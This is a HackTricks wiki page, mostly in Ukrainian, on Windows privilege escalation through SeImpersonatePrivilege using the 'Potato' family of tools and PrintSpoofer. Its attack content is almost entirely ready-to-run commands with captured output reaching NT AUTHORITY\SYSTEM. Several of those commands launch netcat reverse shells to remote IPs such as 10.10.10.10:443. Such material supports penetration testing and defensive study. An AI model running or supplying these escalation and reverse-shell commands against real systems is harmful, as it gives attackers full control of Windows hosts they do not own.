# RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) - Ρ†Π΅ **ΠΏΠΎΡˆΡƒΠΊΠΎΠ²Π° систСма** Π½Π° основі **Ρ‚Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π²Π΅Π±Ρƒ**, яка ΠΏΡ€ΠΎΠΏΠΎΠ½ΡƒΡ” **Π±Π΅Π·ΠΊΠΎΡˆΡ‚ΠΎΠ²Π½Ρ–** Ρ„ΡƒΠ½ΠΊΡ†Ρ–Ρ— для ΠΏΠ΅Ρ€Π΅Π²Ρ–Ρ€ΠΊΠΈ, Ρ‡ΠΈ Π±ΡƒΠ»Π° компанія Π°Π±ΠΎ Ρ—Ρ— ΠΊΠ»Ρ–Ρ”Π½Ρ‚ΠΈ **скомпромСтовані** **ΡˆΠΊΡ–Π΄Π»ΠΈΠ²ΠΈΠΌΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ°ΠΌΠΈ-крадіями**. Основна ΠΌΠ΅Ρ‚Π° WhiteIntel - боротися Π· захоплСнням ΠΎΠ±Π»Ρ–ΠΊΠΎΠ²ΠΈΡ… записів Ρ‚Π° Π°Ρ‚Π°ΠΊΠ°ΠΌΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌ-Π²ΠΈΠΌΠ°Π³Π°Ρ‡Ρ–Π², Ρ‰ΠΎ Π²ΠΈΠ½ΠΈΠΊΠ°ΡŽΡ‚ΡŒ внаслідок ΡˆΠΊΡ–Π΄Π»ΠΈΠ²ΠΈΡ… ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌ, Ρ‰ΠΎ ΠΊΡ€Π°Π΄ΡƒΡ‚ΡŒ Ρ–Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†Ρ–ΡŽ. Π’ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π²Ρ–Ρ€ΠΈΡ‚ΠΈ Ρ—Ρ…Π½Ρ–ΠΉ вСбсайт Ρ– спробувати Ρ—Ρ…Π½Ρ–ΠΉ Π΄Π²ΠΈΠ³ΡƒΠ½ **Π±Π΅Π·ΠΊΠΎΡˆΡ‚ΠΎΠ²Π½ΠΎ** Π·Π° Π°Π΄Ρ€Π΅ΡΠΎΡŽ: {% embed url="https://whiteintel.io" %} *** {% hint style="warning" %} **JuicyPotato Π½Π΅ ΠΏΡ€Π°Ρ†ΡŽΡ”** Π½Π° Windows Server 2019 Ρ‚Π° Windows 10 вСрсії 1809 Ρ– Π½ΠΎΠ²Ρ–ΡˆΠ΅. Однак, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** ΠΌΠΎΠΆΡƒΡ‚ΡŒ Π±ΡƒΡ‚ΠΈ використані для **отримання Ρ‚ΠΈΡ… самих ΠΏΡ€ΠΈΠ²Ρ–Π»Π΅Ρ—Π² Ρ– доступу Π½Π° Ρ€Ρ–Π²Π½Ρ– `NT AUTHORITY\SYSTEM`**. Ця [Π±Π»ΠΎΠ³-публікація](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ описує інструмСнт `PrintSpoofer`, який ΠΌΠΎΠΆΠ½Π° використовувати для зловТивання привілСями імпСрсонації Π½Π° хостах Windows 10 Ρ‚Π° Server 2019, Π΄Π΅ JuicyPotato Π±Ρ–Π»ΡŒΡˆΠ΅ Π½Π΅ ΠΏΡ€Π°Ρ†ΡŽΡ”. {% endhint %} ## Quick Demo ### PrintSpoofer ```bash c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -------------------------------------------------------------------------------- [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK NULL ``` ### RoguePotato {% code overflow="wrap" %} ```bash c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999 # In some old versions you need to use the "-f" param c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` {% endcode %} ### SharpEfsPotato ```bash > SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log" SharpEfsPotato by @bugch3ck Local privilege escalation from SeImpersonatePrivilege using EfsRpc. Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0. [+] Triggering name pipe access on evil PIPE \\localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/\c56e1f1f-f91c-4435-85df-6e158f68acd2\c56e1f1f-f91c-4435-85df-6e158f68acd2 df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc: [x]RpcBindingSetAuthInfo failed with status 0x6d3 [+] Server connected to our evil RPC pipe [+] Duplicated impersonation token ready for process creation [+] Intercepted and authenticated successfully, launching program [+] Process created, enjoy! C:\temp>type C:\temp\w.log nt authority\system ``` ### EfsPotato ```bash > EfsPotato.exe "whoami" Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability). Part of GMH's fuck Tools, Code By zcgonvh. CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net] [+] Current user: NT Service\MSSQLSERVER [+] Pipe: \pipe\lsarpc [!] binding ok (handle=aeee30) [+] Get Token: 888 [!] process with pid: 3696 created. ============================== [x] EfsRpcEncryptFileSrv failed: 1818 nt authority\system ``` ### GodPotato ```bash > GodPotato -cmd "cmd /c whoami" # You can achieve a reverse shell like this. > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" ``` ### DCOMPotato ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) ## References * [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) * [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer) * [https://github.com/antonioCoco/RoguePotato](https://github.com/antonioCoco/RoguePotato) * [https://github.com/bugch3ck/SharpEfsPotato](https://github.com/bugch3ck/SharpEfsPotato) * [https://github.com/BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato) * [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato) * [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato) ### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) Ρ” **ΠΏΠΎΡˆΡƒΠΊΠΎΠ²ΠΎΡŽ ΡΠΈΡΡ‚Π΅ΠΌΠΎΡŽ** Π½Π° основі **Ρ‚Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π²Π΅Π±Ρƒ**, яка ΠΏΡ€ΠΎΠΏΠΎΠ½ΡƒΡ” **Π±Π΅Π·ΠΊΠΎΡˆΡ‚ΠΎΠ²Π½Ρ–** Ρ„ΡƒΠ½ΠΊΡ†Ρ–Ρ— для ΠΏΠ΅Ρ€Π΅Π²Ρ–Ρ€ΠΊΠΈ, Ρ‡ΠΈ Π±ΡƒΠ»Π° **компанія** Π°Π±ΠΎ Ρ—Ρ— **ΠΊΠ»Ρ–Ρ”Π½Ρ‚ΠΈ** **скомпромСтовані** **ΡˆΠΊΡ–Π΄Π»ΠΈΠ²ΠΈΠΌΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ°ΠΌΠΈ** для ΠΊΡ€Π°Π΄Ρ–ΠΆΠΊΠΈ Π΄Π°Π½ΠΈΡ…. Основна ΠΌΠ΅Ρ‚Π° WhiteIntel - боротися Π· захоплСнням ΠΎΠ±Π»Ρ–ΠΊΠΎΠ²ΠΈΡ… записів Ρ‚Π° Π°Ρ‚Π°ΠΊΠ°ΠΌΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌ-Π²ΠΈΠΌΠ°Π³Π°Ρ‡Ρ–Π², Ρ‰ΠΎ Π²ΠΈΠ½ΠΈΠΊΠ°ΡŽΡ‚ΡŒ внаслідок ΡˆΠΊΡ–Π΄Π»ΠΈΠ²ΠΈΡ… ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌ для ΠΊΡ€Π°Π΄Ρ–ΠΆΠΊΠΈ Ρ–Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†Ρ–Ρ—. Π’ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π²Ρ–Ρ€ΠΈΡ‚ΠΈ Ρ—Ρ…Π½Ρ–ΠΉ вСбсайт Ρ– спробувати Ρ—Ρ…Π½Ρ–ΠΉ Π΄Π²ΠΈΠ³ΡƒΠ½ **Π±Π΅Π·ΠΊΠΎΡˆΡ‚ΠΎΠ²Π½ΠΎ** Π·Π° Π°Π΄Ρ€Π΅ΡΠΎΡŽ: {% embed url="https://whiteintel.io" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}